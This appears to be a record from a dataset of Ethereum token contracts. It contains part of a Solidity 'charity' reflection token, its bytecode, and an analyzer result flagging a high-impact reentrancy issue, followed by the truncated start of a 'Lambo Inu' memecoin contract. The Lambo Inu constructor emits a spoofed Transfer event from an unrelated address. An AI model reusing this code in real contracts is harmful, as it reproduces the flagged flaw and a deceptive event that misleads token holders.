payable(_charityAddress).transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _maxTxAmount = 30e12 * 10**6; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCharity(tCharity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeCharity(uint256 tCharity) private { uint256 currentRate = _getRate(); uint256 rCharity = tCharity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rCharity); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _charityAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _charityAddress); uint256 contractETHBalance = address(this).balance; sendETHToCharity(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tCharity, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 CharityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tCharity = tAmount.mul(CharityFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity); return (tTransferAmount, tFee, tCharity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rCharity = tCharity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rCharity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c3c8cd8011610059578063c3c8cd80146102f1578063c9567bf914610308578063d543dbeb1461031f578063dd62ed3e14610348576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c85780636fc3eaec146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a91906124ee565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061209e565b6103c2565b60405161015791906124d3565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b6040516101829190612670565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad919061204f565b6103f1565b6040516101bf91906124d3565b60405180910390f35b3480156101d457600080fd5b506101dd6104ca565b6040516101ea91906126e5565b60405180910390f35b3480156101ff57600080fd5b506102086104d3565b005b34801561021657600080fd5b50610231600480360381019061022c9190611fc1565b610545565b60405161023e9190612670565b60405180910390f35b34801561025357600080fd5b5061025c610596565b005b34801561026a57600080fd5b506102736106e9565b6040516102809190612405565b60405180910390f35b34801561029557600080fd5b5061029e610712565b6040516102ab91906124ee565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d6919061209e565b61074f565b6040516102e891906124d3565b60405180910390f35b3480156102fd57600080fd5b5061030661076d565b005b34801561031457600080fd5b5061031d6107e7565b005b34801561032b57600080fd5b5061034660048036038101906103419190612103565b610d29565b005b34801561035457600080fd5b5061036f600480360381019061036a9190612013565b610e72565b60405161037c9190612670565b60405180910390f35b60606040518060400160405280600781526020017f4149524265747300000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610ef9565b8484610f01565b6001905092915050565b60006801e5b8fa8fe2ac0000905090565b60006103fe8484846110cc565b6104bf8461040a610ef9565b6104ba85604051806060016040528060288152602001612c8660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610470610ef9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f69092919063ffffffff16565b610f01565b600190509392505050565b60006006905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610514610ef9565b73ffffffffffffffffffffffffffffffffffffffff161461053457600080fd5b60004790506105428161145a565b50565b600061058f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c6565b9050919050565b61059e610ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610622906125d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4149524265747300000000000000000000000000000000000000000000000000815250905090565b600061076361075c610ef9565b84846110cc565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ae610ef9565b73ffffffffffffffffffffffffffffffffffffffff16146107ce57600080fd5b60006107d930610545565b90506107e481611534565b50565b6107ef610ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610873906125d0565b60405180910390fd5b601060149054906101000a900460ff16156108cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c390612650565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061095c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801e5b8fa8fe2ac0000610f01565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109da9190611fea565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611fea565b6040518363ffffffff1660e01b8152600401610a91929190612420565b602060405180830381600087803b158015610aab57600080fd5b505af1158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae39190611fea565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b6c30610545565b600080610b776106e9565b426040518863ffffffff1660e01b8152600401610b9996959493929190612472565b6060604051808303818588803b158015610bb257600080fd5b505af1158015610bc6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610beb919061212c565b5050506001601060166101000a81548160ff0219169083151502179055506801a055690d9db800006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610cd3929190612449565b602060405180830381600087803b158015610ced57600080fd5b505af1158015610d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2591906120da565b5050565b610d31610ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db5906125d0565b60405180910390fd5b60008111610e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df890612590565b60405180910390fd5b610e30600a610e22836801e5b8fa8fe2ac000061182e90919063ffffffff16565b6118a990919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601154604051610e679190612670565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890612630565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890612550565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110bf9190612670565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390612610565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a390612510565b60405180910390fd5b600081116111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906125f0565b60405180910390fd5b6111f76106e9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561126557506112356106e9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156113335760115481111561127957600080fd5b600061128430610545565b9050601060159054906101000a900460ff161580156112f15750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113095750601060169054906101000a900460ff165b156113315761131781611534565b6000479050600081111561132f5761132e4761145a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113da5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113e457600090505b6113f0848484846118f3565b50505050565b600083831115829061143e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143591906124ee565b60405180910390fd5b506000838561144d9190612836565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114c2573d6000803e3d6000fd5b5050565b600060085482111561150d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150490612530565b60405180910390fd5b6000611517611920565b905061152c81846118a990919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611592577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156115c05781602001602082028036833780820191505090505b50905030816000815181106115fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116a057600080fd5b505afa1580156116b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d89190611fea565b81600181518110611712577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061177930600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f01565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016117dd95949392919061268b565b600060405180830381600087803b1580156117f757600080fd5b505af115801561180b573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561184157600090506118a3565b6000828461184f91906127dc565b905082848261185e91906127ab565b1461189e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611895906125b0565b60405180910390fd5b809150505b92915050565b60006118eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061194b565b905092915050565b80611901576119006119ae565b5b61190c8484846119f1565b8061191a57611919611bbc565b5b50505050565b600080600061192d611bd0565b9150915061194481836118a990919063ffffffff16565b9250505090565b60008083118290611992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198991906124ee565b60405180910390fd5b50600083856119a191906127ab565b9050809150509392505050565b6000600a541480156119c257506000600b54145b156119cc576119ef565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b600080600080600080611a0387611c32565b955095509550955095509550611a6186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b4281611d42565b611b4c8483611dff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ba99190612670565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006801e5b8fa8fe2ac00009050611c066801e5b8fa8fe2ac00006008546118a990919063ffffffff16565b821015611c25576008546801e5b8fa8fe2ac0000935093505050611c2e565b81819350935050505b9091565b6000806000806000806000806000611c4f8a600a54600b54611e39565b9250925092506000611c5f611920565b90506000806000611c728e878787611ecf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611cdc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f6565b905092915050565b6000808284611cf39190612755565b905083811015611d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2f90612570565b60405180910390fd5b8091505092915050565b6000611d4c611920565b90506000611d63828461182e90919063ffffffff16565b9050611db781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e1482600854611c9a90919063ffffffff16565b600881905550611e2f81600954611ce490919063ffffffff16565b6009819055505050565b600080600080611e656064611e57888a61182e90919063ffffffff16565b6118a990919063ffffffff16565b90506000611e8f6064611e81888b61182e90919063ffffffff16565b6118a990919063ffffffff16565b90506000611eb882611eaa858c611c9a90919063ffffffff16565b611c9a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ee8858961182e90919063ffffffff16565b90506000611eff868961182e90919063ffffffff16565b90506000611f16878961182e90919063ffffffff16565b90506000611f3f82611f318587611c9a90919063ffffffff16565b611c9a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050611f6781612c40565b92915050565b600081519050611f7c81612c40565b92915050565b600081519050611f9181612c57565b92915050565b600081359050611fa681612c6e565b92915050565b600081519050611fbb81612c6e565b92915050565b600060208284031215611fd357600080fd5b6000611fe184828501611f58565b91505092915050565b600060208284031215611ffc57600080fd5b600061200a84828501611f6d565b91505092915050565b6000806040838503121561202657600080fd5b600061203485828601611f58565b925050602061204585828601611f58565b9150509250929050565b60008060006060848603121561206457600080fd5b600061207286828701611f58565b935050602061208386828701611f58565b925050604061209486828701611f97565b9150509250925092565b600080604083850312156120b157600080fd5b60006120bf85828601611f58565b92505060206120d085828601611f97565b9150509250929050565b6000602082840312156120ec57600080fd5b60006120fa84828501611f82565b91505092915050565b60006020828403121561211557600080fd5b600061212384828501611f97565b91505092915050565b60008060006060848603121561214157600080fd5b600061214f86828701611fac565b935050602061216086828701611fac565b925050604061217186828701611fac565b9150509250925092565b60006121878383612193565b60208301905092915050565b61219c8161286a565b82525050565b6121ab8161286a565b82525050565b60006121bc82612710565b6121c68185612733565b93506121d183612700565b8060005b838110156122025781516121e9888261217b565b97506121f483612726565b9250506001810190506121d5565b5085935050505092915050565b6122188161287c565b82525050565b612227816128bf565b82525050565b60006122388261271b565b6122428185612744565b93506122528185602086016128d1565b61225b81612962565b840191505092915050565b6000612273602383612744565b915061227e82612973565b604082019050919050565b6000612296602a83612744565b91506122a1826129c2565b604082019050919050565b60006122b9602283612744565b91506122c482612a11565b604082019050919050565b60006122dc601b83612744565b91506122e782612a60565b602082019050919050565b60006122ff601d83612744565b915061230a82612a89565b602082019050919050565b6000612322602183612744565b915061232d82612ab2565b604082019050919050565b6000612345602083612744565b915061235082612b01565b602082019050919050565b6000612368602983612744565b915061237382612b2a565b604082019050919050565b600061238b602583612744565b915061239682612b79565b604082019050919050565b60006123ae602483612744565b91506123b982612bc8565b604082019050919050565b60006123d1601783612744565b91506123dc82612c17565b602082019050919050565b6123f0816128a8565b82525050565b6123ff816128b2565b82525050565b600060208201905061241a60008301846121a2565b92915050565b600060408201905061243560008301856121a2565b61244260208301846121a2565b9392505050565b600060408201905061245e60008301856121a2565b61246b60208301846123e7565b9392505050565b600060c08201905061248760008301896121a2565b61249460208301886123e7565b6124a1604083018761221e565b6124ae606083018661221e565b6124bb60808301856121a2565b6124c860a08301846123e7565b979650505050505050565b60006020820190506124e8600083018461220f565b92915050565b60006020820190508181036000830152612508818461222d565b905092915050565b6000602082019050818103600083015261252981612266565b9050919050565b6000602082019050818103600083015261254981612289565b9050919050565b60006020820190508181036000830152612569816122ac565b9050919050565b60006020820190508181036000830152612589816122cf565b9050919050565b600060208201905081810360008301526125a9816122f2565b9050919050565b600060208201905081810360008301526125c981612315565b9050919050565b600060208201905081810360008301526125e981612338565b9050919050565b600060208201905081810360008301526126098161235b565b9050919050565b600060208201905081810360008301526126298161237e565b9050919050565b60006020820190508181036000830152612649816123a1565b9050919050565b60006020820190508181036000830152612669816123c4565b9050919050565b600060208201905061268560008301846123e7565b92915050565b600060a0820190506126a060008301886123e7565b6126ad602083018761221e565b81810360408301526126bf81866121b1565b90506126ce60608301856121a2565b6126db60808301846123e7565b9695505050505050565b60006020820190506126fa60008301846123f6565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612760826128a8565b915061276b836128a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127a05761279f612904565b5b828201905092915050565b60006127b6826128a8565b91506127c1836128a8565b9250826127d1576127d0612933565b5b828204905092915050565b60006127e7826128a8565b91506127f2836128a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561282b5761282a612904565b5b828202905092915050565b6000612841826128a8565b915061284c836128a8565b92508282101561285f5761285e612904565b5b828203905092915050565b600061287582612888565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128ca826128a8565b9050919050565b60005b838110156128ef5780820151818401526020810190506128d4565b838111156128fe576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612c498161286a565b8114612c5457600080fd5b50565b612c608161287c565b8114612c6b57600080fd5b50565b612c77816128a8565b8114612c8257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f80c78bc9c7103d0218809888bd8fad9d6e132af873949fc9de20a5d0369713864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,014
0xa1b08a763a655c99fec8c1aafe5c53a6daef1e4d
/** * https://t.me/LamboInu * lambo-inu.com */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LAMBOINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Lambo Inu"; string private constant _symbol = unicode"LAMBO🐕"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 10; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0x90eAd86FCa54eE9a1FE1C55C0ACE5896f4319802), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 30; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(2)).div(10); _teamFee = (_impactFee.mul(10)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to 